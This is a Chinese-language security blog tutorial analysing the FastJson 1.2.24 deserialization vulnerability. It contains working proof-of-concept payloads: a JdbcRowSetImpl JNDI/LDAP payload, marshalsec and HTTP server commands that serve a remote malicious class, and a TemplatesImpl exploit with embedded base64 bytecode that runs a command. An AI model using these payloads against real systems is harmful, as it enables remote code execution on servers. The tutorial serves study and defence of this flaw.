【java安全】FastJson反序列化漏洞浅析

Leekos2023-08-25 17:01

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【java安全】FastJson反序列化漏洞浅析

0x00.前言

前面我们学习了RMI和JNDI知识，接下来我们就可以来了解一下FastJson反序列化了

0x01.FastJson概述

FastJson是阿里巴巴的开源JSON解析库，它可以解析JSON格式的字符串，支持将JavaBean序列化为JSON字符串，也可以将JSON字符串反序列化到JavaBean

0x02.FastJson使用

首先我们需要使用maven导入一个fastjson的jar包，这里选择1.2.24版本

xml 复制代码 
<dependency>
      <groupId>com.alibaba</groupId>
      <artifactId>fastjson</artifactId>
      <version>1.2.24</version>
</dependency>

序列化与反序列化

首先创建一个标准的javabean：User类

java 复制代码 
package com.leekos.serial;

public class User {
    private String name;
    private int age;

    public User() {
        System.out.println("无参构造");
    }

    public User(String name, int age) {
        System.out.println("有参构造");
        this.name = name;
        this.age = age;
    }

    public String getName() {
        System.out.println("调用了get方法");
        return name;
    }

    public void setName(String name) {
        System.out.println("调用了set方法");
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

测试一下fastjson中的方法：

  • JSON.toJSONString(obj) 将javabean转化为json字符串
  • JSON.parse(s) 将json字符串反序列化
  • JSON.parseObject(s) 将json字符串反序列化
  • JSON.parseObject(s,Object.class) 将json字符串反序列化
java 复制代码 
public class JsonTest {
    public static void main(String[] args) {
        User user = new User("leekos",20);
        // 序列化
        String serializeStr = JSON.toJSONString(user);
        System.out.println("serializeStr=" + serializeStr);

        System.out.println("------------------------------------------------------------------");

        //通过parse方法进行反序列化，返回的是一个JSONObject
        Object obj1 = JSON.parse(serializeStr);
        System.out.println("parse反序列化对象名称:" + obj1.getClass().getName());
        System.out.println("parse反序列化:" + obj1);

        System.out.println("------------------------------------------------------------------");

        //通过parseObject,不指定类，返回的是一个JSONObject
        JSONObject obj2 = JSON.parseObject(serializeStr);
        System.out.println("parseObject反序列化对象名称:" + obj2.getClass().getName());
        System.out.println("parseObject反序列化:" + obj2);

        System.out.println("------------------------------------------------------------------");

        //通过parseObject,指定类后返回的是一个相应的类对象
        User obj3 = JSON.parseObject(serializeStr, User.class);
        System.out.println("parseObject反序列化对象名称:" + obj3.getClass().getName());
        System.out.println("parseObject反序列化:" + obj3);

    }
}

输出：

java 复制代码 
有参构造
调用了get方法
serializeStr={"age":20,"name":"leekos"}
------------------------------------------------------------------
parse反序列化对象名称:com.alibaba.fastjson.JSONObject
parse反序列化:{"name":"leekos","age":20}
------------------------------------------------------------------
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"name":"leekos","age":20}
------------------------------------------------------------------
无参构造
调用了set方法
parseObject反序列化对象名称:com.leekos.serial.User
parseObject反序列化:User{name='leekos', age=20}

通过观察，我们可以知道：(不使用SerializerFeature.WriteClassName参数)

  • 使用JSON.toJSONString(obj)将javabean序列化的时候会调用get()方法
  • 使用JSON.parse(s)会将json串反序列化为JSONObject对象，并没有真正反序列化，没有调用任何方法
  • 使用JSON.parseObject(s)会将json串反序列化为JSONObject对象，并没有真正反序列化，没有调用任何方法
  • 当我们指定了JSON.parseObject(s,User.class)函数的第二个参数为指定类的字节码时，我们可以正确反序列化，并且会调用set()方法

通过以上的分析，我们可能会想json串中没有与类有关的标识，我们怎么才知道这个json串反序列化对应的对象是什么类型呢？

这个时候就需要用到JSON.toJSONString(obj,SerializerFeature.WriteClassName)的第二个参数了，如果该参数为SerializerFeature.WriteClassName那么在序列化javabean时就会在json串中写下类的名字，保存在@type关键字中

传入SerializerFeature.WriteClassName可以使得Fastjson支持自省，开启自省后序列化成JSON的数据就会多一个@type，这个是代表对象类型的JSON文本。

我们将上面的代码更改一下：

java 复制代码 
String serializeStr = JSON.toJSONString(user,SerializerFeature.WriteClassName);

输出：

java 复制代码 
有参构造
调用了get方法
serializeStr={"@type":"com.leekos.serial.User","age":20,"name":"leekos"}
------------------------------------------------------------------
无参构造
调用了set方法
parse反序列化对象名称:com.leekos.serial.User
parse反序列化:User{name='leekos', age=20}
------------------------------------------------------------------
无参构造
调用了set方法
调用了get方法
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"name":"leekos","age":20}
------------------------------------------------------------------
无参构造
调用了set方法
parseObject反序列化对象名称:com.leekos.serial.User
parseObject反序列化:User{name='leekos', age=20}

经过分析，我们可以知道：

  • 当反序列成功时，parse()、parseObject()都会调用set()方法
  • JSON.parseObject()只有在第二个参数指定类，才会反序列化成功
  • 在字符串中使用"@type":"com.leekos.serial.User"指定类，当使用JSON.parseObject()且不指定第二个参数时，会调用set()、get()方法，但会转化为JSONObject对象
  • 使用JSON.parse()方法，无法使用参数指定反序列化的类，它通过识别json串中的@type来反序列化为指定类

0x03.反序列化漏洞

其实上面就有一个很敏感的问题，如果@type为恶意类的话，就可以通过触发set()、get()方法来做一些恶意操作了

漏洞是利用fastjson autotype在处理json对象的时候，未对@type字段进行完全的安全性验证，攻击者可以传入危险类，并调用危险类连接远程rmi主机，通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用，获取服务器的敏感信息泄露，甚至可以利用此漏洞进一步对服务器数据进行修改，增加，删除等操作，对服务器造成巨大的影响。

我们先编写一个恶意类：

java 复制代码 
package com.leekos.rce;

import java.io.IOException;

public class ExecObj {
    private String name;

    public ExecObj() {
    }

    public ExecObj(String name) {
        this.name = name;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) throws IOException {
        Runtime.getRuntime().exec("calc");
        this.name = name;
    }

    @Override
    public String toString() {
        return "ExecObj{" +
                "name='" + name + '\'' +
                '}';
    }
}

添加SerializerFeature.WriteClassName后然后使用JSON.parseObject()反序列化：

java 复制代码 
public class Test {
    public static void main(String[] args) {
        String s = "{\"@type\":\"com.leekos.rce.ExecObj\",\"name\":\"leekos\"}";
        Object o = JSON.parseObject(s);
    }
}

成功调用set()方法：

0x04.漏洞触发条件

不过在FastJson中还需要满足某些条件：

getter自动调用还需要满足以下条件：

  • 方法名长度大于4
  • 非静态方法
  • 以get开头且第四个字母为大写
  • 无参数传入
  • 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

setter自动调用需要满足以下条件：

  • 方法名长度大于4
  • 非静态方法
  • 返回值为void或者当前类
  • 以set开头且第四个字母为大写
  • 参数个数为1个

除此之外Fastjson还有以下功能点：

  1. 如果目标类中私有变量没有setter方法，但是在反序列化时仍想给这个变量赋值，则需要使用Feature.SupportNonPublicField参数
  2. fastjson 在为类属性寻找getter/setter方法时，调用函数com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()方法，会忽略_ -字符串
  3. fastjson 在反序列化时，如果Field类型为byte[]，将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue进行base64解码，在序列化时也会进行base64编码

0x05.漏洞攻击方式

在Fastjson这个反序列化漏洞中是使用TemplatesImpl和JdbcRowSetImpl构造恶意代码实现命令执行，TemplatesImpl这个类，想必前面调试过这么多链后，对该类也是比较熟悉。他的内部使用的是类加载器，去进行new一个对象，这时候定义的恶意代码在静态代码块中，就会被执行。再来说说后者JdbcRowSetImpl是需要利用到前面学习的JNDI注入来实现攻击的。

这里介绍两种方式：

  • TemplatesImpl链
  • JdbcRowSetImpl链

JdbcRowSetImpl利用链

JNDI注入利用链是通用性最强的利用方式，在以下三种反序列化中均可使用：

java 复制代码 
parse(jsonStr)
parseObject(jsonStr)
parseObject(jsonStr,Object.class)

这里JNDI注入利用的是JdbcRowSetImpl ，由于需要使用JNDI，所以我们全局查找一下lookup()

发现lookup()会在connect()函数中被调用，并且传入参数this.getDataSourceName()，

java 复制代码 
public void setDataSourceName(String var1) throws SQLException {
        if (this.getDataSourceName() != null) {
            if (!this.getDataSourceName().equals(var1)) {
                String var2 = this.getDataSourceName();
                super.setDataSourceName(var1);
                this.conn = null;
                this.ps = null;
                this.rs = null;
                this.propertyChangeSupport.firePropertyChange("dataSourceName", var2, var1);
            }
        } else {
            super.setDataSourceName(var1);  //赋值
            this.propertyChangeSupport.firePropertyChange("dataSourceName", (Object)null, var1);
        }
    }

setDataSourceName()函数会对dataSourceName赋值，并且这个函数是setxxx()形式。即dataSourceName可控

然后我们需要寻找哪里能调用connect()函数，并且这个函数是setxxx()形式：

java 复制代码 
public void setAutoCommit(boolean var1) throws SQLException {
    if (this.conn != null) {
        this.conn.setAutoCommit(var1);
    } else {
        this.conn = this.connect();
        this.conn.setAutoCommit(var1);
    }
}

找到了一个setAutoCommit()，这就能简单构造一个json串了

json 复制代码 
{
    "@type":"com.sun.rowset.JdbcRowSetImpl", 
    //调用com.sun.rowset.JdbcRowSetImpl函数中的setdataSourceName函数 传入参数"ldap://127.0.0.1:1389/Exploit"
    "dataSourceName":"ldap://127.0.0.1:1389/Exploit", 
    "autoCommit":true // 之后再调用setAutoCommit函数，传入true
}

Demo

java 复制代码 
public class Demo {
    public static void main(String[] args) {
        String exp = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/leekos\",\"autoCommit\":true}";
        JSON.parse(exp);
    }
}

首先我们先使用插件：marshalsec起一个ldap服务：

(这里url指向本地的8090端口的EvilClass.class文件)

java 复制代码 
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#EvilClass

然后python起一个http服务(8090端口),目录中有一个EvilClass.class文件：

python3 -m http.server 8090

EvilClass.java源码

java 复制代码 
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class EvilClass implements ObjectFactory {
    static {
        System.out.println("hello,static~");
    }
    public EvilClass() throws IOException {
        System.out.println("constructor~");
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        Runtime.getRuntime().exec("calc");
        System.out.println("hello,getObjectInstance~");
        return null;
    }
}

这里使用javac（jdk7u21）编译一下

运行：

TemplatesImpl利用链

漏洞版本

fastjson 1.22-1.24

POC
java 复制代码 
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.codec.binary.Base64;


public class Test {

    //最终执行payload的类的原始模型
    //ps.要payload在static模块中执行的话，原始模型需要用static方式。
    public static class lala{

    }
    //返回一个在实例化过程中执行任意代码的恶意类的byte码
    //如果对于这部分生成原理不清楚，参考以前的文章
    public static byte[] getevilbyte() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.get(lala.class.getName());
        //要执行的最终命令
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        //之前说的静态初始化块和构造方法均可，这边用静态方法
        cc.makeClassInitializer().insertBefore(cmd);
//        CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
//        cons.setBody("{"+cmd+"}");
//        cc.addConstructor(cons);
        //设置不重复的类名
        String randomClassName = "LaLa"+System.nanoTime();
        cc.setName(randomClassName);
        //设置满足条件的父类
        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
        //获取字节码

        return cc.toBytecode();
    }
    //生成payload，触发payload
    public static void  poc() throws Exception {
        //生成攻击payload
        byte[] evilCode = getevilbyte();//生成恶意类的字节码
        String evilCode_base64 = Base64.encodeBase64String(evilCode);//使用base64封装
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String text1 = "{"+
                "\"@type\":\"" + NASTY_CLASS +"\","+
                "\"_bytecodes\":[\""+evilCode_base64+"\"],"+
                "'_name':'a.b',"+
                "'_tfactory':{ },"+
                "'_outputProperties':{ }"+
                "}\n";
        //此处删除了一些我觉得没有用的参数（第二个_name，_version，allowedProtocols），并没有发现有什么影响
        System.out.println(text1);

        //服务端触发payload
        ParserConfig config = new ParserConfig();
        Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
        
        //Object obj = JSON.parseObject(text1, Feature.SupportNonPublicField);
    }
    //main函数调用以下poc
    public static void main(String[] args){
        try {
            poc();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

我们执行一下，弹出计算器：

json串：

json 复制代码 
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADEAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARsYWxhAQAMSW5uZXJDbGFzc2VzAQAsTGNvbS9sZWVrb3MvRmFzdEpzb25UZW1wbGF0ZXNJbXBsL1Rlc3QkbGFsYTsBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAEAAUHABMBACpjb20vbGVla29zL0Zhc3RKc29uVGVtcGxhdGVzSW1wbC9UZXN0JGxhbGEBABBqYXZhL2xhbmcvT2JqZWN0AQAlY29tL2xlZWtvcy9GYXN0SnNvblRlbXBsYXRlc0ltcGwvVGVzdAEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAEkxhTGE0Mjk4NDA5NDYzMzcwMAEAFExMYUxhNDI5ODQwOTQ2MzM3MDA7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAEAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}
漏洞分析

使用TemplatesImpl链的形式触发FastJson反序列化漏洞利用条件比较苛刻

  • 服务端使用JSON.parse()时，需要JSON.parse(s,Feature.SupportNonPublicField);
  • 服务端使用parseObject()时，必须使用如下格式才能触发漏洞： JSON.parseObject(input, Object.class, Feature.SupportNonPublicField); 、JSON.parseObject(input, Feature.SupportNonPublicField);

因为payload需要赋值的一些属性为private属性，服务端必须添加特性才会去json中恢复private属性的数据

其实根据上面的poc，我们会有几个疑问：

  • 如果支队_bytecodes插入恶意代码，为什么需要构造这么多值
  • _bytecodes中的值为什么要base64加密
  • 发序列化为什么要加入Feature.SupportNonPublicField参数值
  1. @type ：用于存放反序列化时的目标类型，这里指定的是TemplatesImpl这个类，Fastjson会按照这个类反序列化得到实例，因为调用了getOutputProperties方法，实例化了传入的bytecodes类，导致命令执行。需要注意的是，Fastjson默认只会反序列化public修饰的属性，outputProperties和_bytecodes由private修饰，必须加入Feature.SupportNonPublicField 在parseObject中才能触发；
  2. _bytecodes：继承AbstractTranslet 类的恶意类字节码，并且使用Base64编码
  3. _name：调用getTransletInstance 时会判断其是否为null，为null直接return，不会往下进行执行，利用链就断了，可参考cc2和cc4链。
  4. _tfactory：defineTransletClasses 中会调用其getExternalExtensionsMap 方法，为null会出现异常,但在前面分析jdk7u21链的时候，部分jdk并未发现该方法。
  5. outputProperties：漏洞利用时的关键参数，由于Fastjson反序列化过程中会调用其getOutputProperties 方法，导致bytecodes字节码成功实例化，造成命令执行

前面说到的之所以加入Feature.SupportNonPublicField才能触发是因为Feature.SupportNonPublicField的作用是支持反序列化使用非public修饰符保护的属性，在Fastjson中序列化private属性。

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